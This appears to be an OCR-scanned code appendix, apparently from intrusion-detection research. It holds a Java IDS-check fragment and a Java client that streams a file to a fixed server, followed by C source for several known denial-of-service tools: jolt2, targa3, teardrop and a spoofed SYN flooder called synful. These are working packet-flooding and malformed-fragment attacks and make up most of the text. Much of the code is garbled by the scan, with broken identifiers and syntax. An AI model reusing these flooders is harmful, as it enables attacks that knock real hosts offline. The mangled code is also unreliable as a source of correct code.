this.idsDatali].state.equals("Z") ||
Idata.cfgMD5.equals(this.idsData]i].cfgMD5) ||
Idata.codeMD5.equals(this.idsDatali].codeMD5))
return false;

}

for (inti = 0; i < this.idsIndex; i++) {
mem += this.idsData[i].mem;
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cpu += this.idsDatal[i].cpu;

}

if ((mem / this.idsIndex) > 50 || (cpu / this.idsIndeX0}
return false;

return true;

}
}

Client

import java.net.*;
import java.io.*;
import java.lang.*;

public class Client {
public static final String SERVER_ADDR = new String("192.1638");
public static final int SERVER_PORT = 4445;
public static final int DELAY = 1000;

String fileName = new String();
FileReader fileReader = null;
BufferedReader bufferReader = null;
Socket sockfd = null;

PrintWriter out = null;
BufferedReader in = null;

long currentTime;

I

public static void main(String[] args) {
Client client = new Client("d:\\result");
client.sendFile();

}

I
public Client(String fileName) {
this.currentTime = System.currentTimeMillis();
this.fleName = fileName;
try {
this.sockfd = new Socket(Client. SERVER_ADDRet.SERVER_PORT);
this.out = new PrintWriter(sockfd.getOutputStreain(e);
in = new BufferedReader(new InputStreamReautekig. getinputStream()));
} catch(UnknownHostException e) {
System.out.println("can not connect ...");
System.exit(1);
} catch(Exception e) {
System.out.printin("io error ...");
System.exit(1);

}

I
public void sendFile() {
String fromServer;

long time;
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try {
while (true) {

this.sendData();

fromServer = this.in.readLine();

time = System.currentTimeMillis() - thisrentTime;
System.out.printin("response time: " +&jm
this.currentTime = System.currentTimelg)t
Thread.sleep(Client. DELAY);

} catch(Exception e) {
System.out.println("can not get server requést ..
System.exit(1);

}

I
void sendData() {
String str;

try {
this.fileReader = new FileReader(fileName);

this.bufferReader = new BufferedReader (this.&keder);
} catch(Exception e) {
System.out.printin("\ncan not open input fil§;...
System.exit(1);
}

try {
while ((str = this.bufferReader.readLine()nial)

this.out.printin(str);
this.out.printin("end");
} catch (IOException e) {
System.out.printin("\ncan nor read from fil&);

}

try {
this.fileReader.close();

this.bufferReader.close();
this.fileReader = null;
this.bufferReader = null;

} catch(Exception e) {
System.out.println("can not close ...");
System.exit(1);
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#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <getopt.h>

struct _pkt
{
struct iphdr ip;
union
{
struct icmphdr icmp;
struct udphdr udp;
} proto;
char data;

} pkt;

int icmplen = sizeof(struct icmphdr);
int udplen = sizeof(struct udphdr);
int iplen = sizeof(struct iphdr);

int spf_sck;

1

void usage(char *pname)

jolt2 dlos> -
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fprintf (stderr, "Usage: %s [-s src_addr] [-p porgtdaddr\n”, pname);
fprintf (stderr, "Note: UDP used if a port is spexifi otherwise ICMP\n");

exit(0);

}
I

u_long host_to_ip(char *host_name)
{

static u_long ip_bytes;

struct hostent *res;

res = gethostbyname(host_name);
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if (res == NULL)
return (0);
memcpy(&ip_bytes, res->h_addr, res->h_length);
return (ip_bytes);
}
I

void quit(char *reason)

perror(reason);
close(spf_sck);
exit(-1);

I
int do_frags (int sck, u_long src_addr, u_long dst_addr, int port)

int bs, psize;
unsigned long x;
struct sockaddr_in to;

to.sin_family = AF_INET;
to.sin_port = 1235;
to.sin_addr.s_addr = dst_addr;

if (port)

psize = iplen + udplen + 1;
else

psize = iplen + icmplen + 1;
memset(&pkt, 0, psize);

pkt.ip.version = 4;

pkt.ip.ihl = 5;

pkt.ip.tot_len = htons(iplen + icmplen) + 40;

pkt.ip.id = htons(0x455);

pkt.ip.ttl = 255;

pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_IQMP
pkt.ip.saddr = src_addr;

pkt.ip.daddr = dst_addr;

pkt.ip.frag_off = htons (8190);

if (port)

pkt.proto.udp.source = htons(port|1235);
pkt.proto.udp.dest = htons(port);
pkt.proto.udp.len = htons(9);
pkt.data = 'a’;
}
else
{
pkt.proto.icmp.type = ICMP_ECHO;
pkt.proto.icmp.code = 0;
pkt.proto.icmp.checksum = 0;

}
while (1)
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bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &izeof(struct sockaddr));
}

return bs;

}
I

int main(int argc, char *argv[])

u_long src_addr, dst_addr;
inti, bs=1, port=0;
char hostname[32];

if (argc < 2)
usage (argv[0]);

gethostname (hostname, 32);
src_addr = host_to_ip(hostname);

while ((i = getopt (argc, argv, "s:p:h")) != EOF)
{

switch (i)
{
case's"
dst_addr = host_to_ip(optarg);
if (dst_addr)
quit("Bad source address given.");
break;

case 'p"
port = atoi(optarg);
if ((port <= 0) || (port > 65535))
quit ("Invalid port number given.");
break;

case 'h"
default:
usage (argv[0]);

}

dst_addr = host_to_ip(argv[argc-1]);
if (dst_addr)
quit("Bad destination address given.");

spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

if (Ispf_sck)
quit("socket()");

if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (ch&bs, sizeof(bs)) < 0)
quit("IP_HDRINCL");

do_frags (spf_sck, src_addr, dst_addr, port);
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>

u_char rseed[4096];
int rsi, rnd, pid;

#if _ BYTE_ORDER == __ LITTLE_ENDIAN

#ifndef htons

unsigned short int htons (unsigned short int hostshort)
#endif

#define TONS(n) htons(n)

#elif _ BYTE_ORDER == __ BIG_ENDIAN

#define TONS(n) (n)

#endif

1

struct sa_in

{
unsigned short int sin_family, sin_port;
struct

{

unsigned int s_addr;
}
sin_addr;
unsigned char sin_zero[8];
h
1

struct iph

{ [* IP header */

#if _ BYTE_ORDER == __ LITTLE_ENDIAN
#define TONS(n) htons(n)

unsigned char ihl:

4,
unsigned char version:
4;
#elif _ BYTE_ORDER == __ BIG_ENDIAN

#define TONS(n) (n)

unsigned char version:
4,

unsigned char ihl:

Vol
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#endif
unsigned char tos;
unsigned short int tot_len;
unsigned short int id;
unsigned short int frag_off;
unsigned char ttl;
unsigned char protocol;
unsigned short int check;
unsigned int saddr;
unsigned int daddr;

k

unsigned long int inet_addr (const char *cp);
I

unsigned int realrand (int low, int high)

int evil[2];
evil[0] = rseed][rsi];
evil[1] = rseed[rsi + 1];
rsi +=2;
if (evil[0] == 0x00)
evil[0]++;
if (evil[1] == 0x00)
evil[1]++;
srandom (time (0));
srand (random () << pid % evil[0] >> evil[1]); /* domisk :P */
return ((rand () % (int) (((high) + 1) - (low))) + (1)
}
I

void sigh (int sig)
{

puts (" ]C1[0Om\n");
exit (0);
}
Il

int main (int argc, char **argv)
{
int s = socket (AF_INET, SOCK_RAW, 255); /* IPPROTO_RAW */
int res, psize, loopy, targets = 0, tind, count = -1;
char *packet, ansi[16];
struct sa_in sin;
struct iph *ip;
u_long target[200];

int proto[14] =
{ /* known internet protcols */
0,1,2,4,6,8, 12, 17, 22, 41, 58, 255, 0,

in£ frags[10] =

{ /* (un)common fragment values */
0, 0, 0, 8192, 0x4, 0x6, 16383, 1, 0,
g

\aY



int flags[7] =

{ /* (un)common message flags */
0, 0, 0, 0x4, 0, 0x1,
g

rnd = open ("/dev/urandom”, O_RDONLY);
read (rnd, rseed, 4095);
rsi=0;

snprintf (ansi, 15,"[%d;3%dm", realrand (0, 1), realrand (1, 7));
printf ("\t\t%starga 3.0 by Mixter[Om\n", ansi);
fflush (stdout);

if (argc < 2)

fprintf (stderr, "usage: %s <ip1> [ip2] ... [-c coimt] argv[0]);
exit (-1);

if (argc > 201)

fprintf (stderr, "cannot target more than 200 hasts!\
exit (-1);
}

for (loopy = 1; loopy < argc; loopy++)
if (strcmp (argv[loopy - 1], "-c") == 0)
{

if (atoi (argv[loopy]) > 1)
count = atoi (argv[IOOpy]);
continue;

}
if (inet_addr (argv[loopy]) !=-1)
{
target[targets] = inet_addr (argv[loopy]);
targets++;
}
}

if (Itargets)
fprintf (stderr, "no valid ips found!\n");

exit (-1);

snprintf (ansi, 15,"[%d;3%dm", realrand (0, 1), realrand (1, 7));
printf ("%s\tTargets:\t%d\n", ansi, targets);
printf ("\tCount:\t\t");

if (count ==-1)
puts (“infinite");
else

printf ("%d\n", count);

printf (" [");
fflush(0);
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for (res = 0; res < 18; res++)
signal (res, sigh);

pid = getpid ();

psize = sizeof (struct iph) + realrand (128, 512);
packet = calloc (1, psize);

ip = (struct iph *) packet;

setsockopt (s, 0, 3, "1", sizeof ("1"));/* IP_HDRINCheader included */
sin.sin_family = PF_INET;

sin.sin_port = TONS (0);

while (count != 0)

if (count !=-1)
count--;
for (loopy = O; loopy < 0xff;)

for (tind = O; tind < targets + 1; tind++)
{
sin.sin_addr.s_addr = target[tind];
if (rsi > 4000)
{
read (rnd, rseed, 4095);
rsi=0;
}
read (rnd, packet, psize);
proto[13] = realrand (0O, 255);
frags[9] = realrand (0, 8100);
flags[6] = realrand (0, 0xf);
ip->version = 4;
ip->ihl = 5;
ip->tos = 0;
ip->tot_len = TONS (psize);
ip->id = TONS (realrand (1, 10000));
ip->ttl = Ox7f;
ip->protocol = proto[(int) realrand ((B)];
ip->frag_off = TONS (frags|(int) realra(@ 9)]);
ip->check = 0;
ip->saddr = random ();
ip->daddr = target[tind];
res = sendto (s,
packet,
psize,
flags[(int) realrand (0}, 6)
(struct sockaddr *) &sin,
sizeof (struct sockaddr));
if (res)
loopy++;
} }
snprintf (ansi, 15, "[%d;3%dm", realrand (0, 1), realrand (1, 7));
printf ("%s.", ansi);
usleep (200);
fflush (stdout);
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free (packet); /* free willy */
puts (" J1'[0Om\n");

return O;

}
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#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSial@etBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH  Ox14 /*IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING Ox1c /* datagram frame padding for foastket */
#define MAGIC 0x3 /* Magic Fragment Constant (tBhould be 2 or 3 */
#define COUNT Ox1 /*Linux dies with 1, NT is moralstart and can
* withstand maybe 5 or 10 stimes... Experiment.
*/
void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);
1

int main(int argc, char **argv)

{
intone =1, count =0, i, rip_sock;
u_long src_ip =0, dst_ip=0;
u_short src_prt =0, dst_prt = 0;
struct in_addr addr;

fprintf(stderr, "teardrop route|daemon9\n\n");
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if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)D)

perror(“raw socket");
exit(1);

}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (ct&one, sizeof(one))
<0)

perror("IP_HDRINCL");
exit(1);

if (argc < 3) usage(argv[0]);
if ((src_ip = name_resolve(argv[1])) || !(dst_imame_resolve(argv|2])))

fprintf(stderr, "What the hell kind of IP addsés that?\n");

exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) I= EOF)
{
switch (i)
{
case's": [* source pdnb(dd be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't [* dest port (QNM8yone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n": /* number to send */
count = atoi(optarg);
break;
default :
usage(argv|0]);
break; /* NOTREACHED */
}

}

srandom((unsigned)(time((time_t)0)));

if (Isrc_prt) src_prt = (random() % OXxffff);
if (Idst_prt) dst_prt = (random() % Oxffff);
if (lcount) count = COUNT;

fprintf(stderr, "Death on flaxen wings:\n");

addr.s_addr = src_ip;

fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addm, prt);
addr.s_addr = dst_ip;

fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addst_prt);
fprintf(stderr, " Amt: %5d\n", count);

fprintf(stderr, "[");

for (i=0; i< count; i++)
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "bOOmM ");

usleep(500);
}
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}
I

fprintf(stderr, "T\n");
return (0);

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_shortrsrc_p

{

u_short dst_prt)

u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; [* a byte */
struct sockaddr_in sin; [* sockettpeol structure */

sin.sin_family = AF_INET;
sin.sin_port =src_prt;
sin.sin_addr.s_addr = dst_ip;

packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

byte = 0x45; [* IP versiarndéheader length */
memcpy(p_ptr, &byte, sizeof(u_char));

p_ptr += 2; /* IP TOS (skipp&d)

*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); * total length */
p_ptr +=2;

*((u_short *)p_ptr) = htons(242); /* 1P id */

p_ptr +=2;

*((u_short *)p_ptr) |= FIX(IP_MF); /*IP frag flags andfset */

p_ptr += 2;

*((u_short *)p_ptr) = 0x40; [<IP TTL ¥
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));

p_ptr +=4; /* IP checksuftedl in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source addrékss

p_ptr +=4;

*((u_long *)p_ptr) = dst_ip; [* IP destination adsé/

p_ptr +=4;

*((u_short *)p_ptr) = htons(src_prt); I* UDP soeiiport */
p_ptr +=2;

*((u_short *)p_ptr) = htons(dst_prt); /* UDP destioa port */
p_ptr +=2;

*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP tbtangth */

if (sendto(sock, packet, IPH + UDPH + PADDING, @rust sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)

perror("\nsendto");
free(packet);
exit(1);

}

p_ptr = &packet[2]; /* IP total length is 2 bybet the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);

p_ptr +=4; [* IP offset is 6 bytesitite header */
*((u_short *)p_ptr) = FIX(MAGIC);
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if (sendto(sock, packet, IPH + MAGIC + 1, 0, (strsmtkaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{

perror("\nsendto");
free(packet);
exit(1);

}

free(packet);

}
I

u_long name_resolve(u_char *host_name)
{

struct in_addr addr;

struct hostent *host_ent;

if (addr.s_addr = inet_addr(host_name)) == -1)

if ({(host_ent = gethostbyname(host_namejirng0);
bcopy(host_ent->h_addr, (char *)&addr.s_addt,_leog->h_length);

return (addr.s_addr);

}
void usage(u_char *name)

fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst Jdrtn how_many J\n",
name);
exit(0);
}
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#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <linux/ip.h>
#include <linux/tcp.h>

void dosynpacket(unsigned int, unsigned int, unsigned,sinosigned short);
unsigned short in_cksum(unsigned short *, int);

unsigned int host2ip(char *);

void initrand();

1

\OA



main(int argc, char **argv)
{
unsigned int srchost;
char tmpsrchost[12];
inti,s1,s2,s3,s4;
unsigned int dsthost;
unsigned short port=80;
unsigned short random_port;
unsigned int number=1000;
printf("synful [It's so synful to send those spoof&tNS]\n");
printf("Hacked out by WStOrM\W\n\n");
if(argc < 2)

printf("syntax: synful targetIiP\n", argv[0]);
exit(0);

initrand();

dsthost = host2ip(argv[1]);

if(argc >= 3) port = atoi(argv[2]);

if(argc >= 4) number = atoi(argv[3]);

if(port == 0) port = 80;

if(number == 0) number = 1000;

printf("Destination : %s\n",argv[1]);

printf("Port : %u\n",port);

printf("NumberOfTimes: %d\n\n", number);

for(i=0;i < number;i++)

{
sl = 1+(int) (255.0*rand()/(RAND_MAX+1.0));
s2 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));
s3 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));
s4 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));
random_port = 1+(int) (10000.0*rand()/(RAND_MAX+1.0));
sprintf(tmpsrchost,"%d.%d.%d.%d",s1,s2,s3,54);
printf("Being Synful to %s at port %u from %s p#iti\n”, argv[1], port, tmpsrchost, random_port);
srchost = host2ip(tmpsrchost);
dosynpacket(srchost, dsthost, port, random_port);

}

}
I

void dosynpacket(unsigned int source_addr, unsigned int dest wadtigned short dest_port, unsigned
short ran_port) {
struct send_tcp

struct iphdr ip;
struct tcphdr tcp;

} send_tcp;

struct pseudo_header

{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
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} pseudo_header;

int tcp_socket;

struct sockaddr_in sin;
int sinlen;

[* form ip packet */
send_tcp.ip.ihl = 5;
send_tcp.ip.version = 4;
send_tcp.ip.tos = 0;
send_tcp.ip.tot_len = htons(40);
send_tcp.ip.id = ran_port;
send_tcp.ip.frag_off = 0;
send_tcp.ip.ttl = 255;
send_tcp.ip.protocol = IPPROTO_TCP;
send_tcp.ip.check = 0;
send_tcp.ip.saddr = source_addr;
send_tcp.ip.daddr = dest_addr;

[* form tcp packet */
send_tcp.tcp.source = ran_port;
send_tcp.tcp.dest = htons(dest_port);
send_tcp.tcp.seq = ran_port;
send_tcp.tcp.ack_seq = 0;
send_tcp.tcp.resl = 0;
send_tcp.tcp.doff = 5;
send_tcp.tep.fin = 0;
send_tcp.tcp.syn = 1;
send_tcp.tcp.rst = 0;
send_tcp.tcp.psh = 0;
send_tcp.tcp.ack = 0;
send_tcp.tcp.urg = 0;
send_tcp.tcp.window = htons(512);
send_tcp.tcp.check = 0;
send_tcp.tcp.urg_ptr = 0;

[* setup the sin struct */

sin.sin_family = AF_INET;

sin.sin_port = send_tcp.tcp.source;
sin.sin_addr.s_addr = send_tcp.ip.daddr;

I* (try to) open the socket */
tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(tcp_socket < 0)

perror(“"socket");
exit(1);

[* set fields that need to be changed */
send_tcp.tcp.source++;
send_tcp.ip.id++;

send_tcp.tcp.seq++;
send_tcp.tcp.check = 0;
send_tcp.ip.check = 0;

[* calculate the ip checksum */
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send_tcp.ip.check = in_cksum((unsigned short *)&sepdpt 20);

/* set the pseudo header fields */

pseudo_header.source_address = send_tcp.ip.saddr;

pseudo_header.dest_address = send_tcp.ip.daddr;

pseudo_header.placeholder = 0;

pseudo_header.protocol = IPPROTO_TCP;

pseudo_header.tcp_length = htons(20);

bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header2@),

send_tcp.tcp.check = in_cksum((unsigned short *)&pséehmer, 32);

sinlen = sizeof(sin);

sendto(tcp_socket, &send_tcp, 40, O, (struct sockad&dirt)sinlen);
close(tcp_socket);

}
I

unsigned short in_cksum(unsigned short *ptr, int nbytes)

{
register long sum; /* assumes long == 32 bhits */
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */

sum = 0;

while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;

}

if (nbytes == 1) {
oddbyte = 0; /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
sum += oddbyte;

}

sum = (sum >> 16) + (sum & 0Oxffff); /* add high-16 to IG6-*/
sum += (sum >> 16); [* add carry */

answer = ~sum; /* ones-complement, then truncaié tats */
return(answer);

}
I

unsigned int host2ip(char *hostname)
{
static struct in_addr i;
struct hostent *h;
i.s_addr = inet_addr(hostname);
if(i.s_addr == -1)

h = gethostbyname(hostname);
if(h == NULL)

fprintf(stderr, "cant find %s\n", hostname);
exit(0);
}
bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
}
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return i.s_addr;

}
I

void initrand(void)

{

struct timeval tv;

gettimeofday(&tv, (struct timezone *) NULL);
srand(tv.tv_usec);

}
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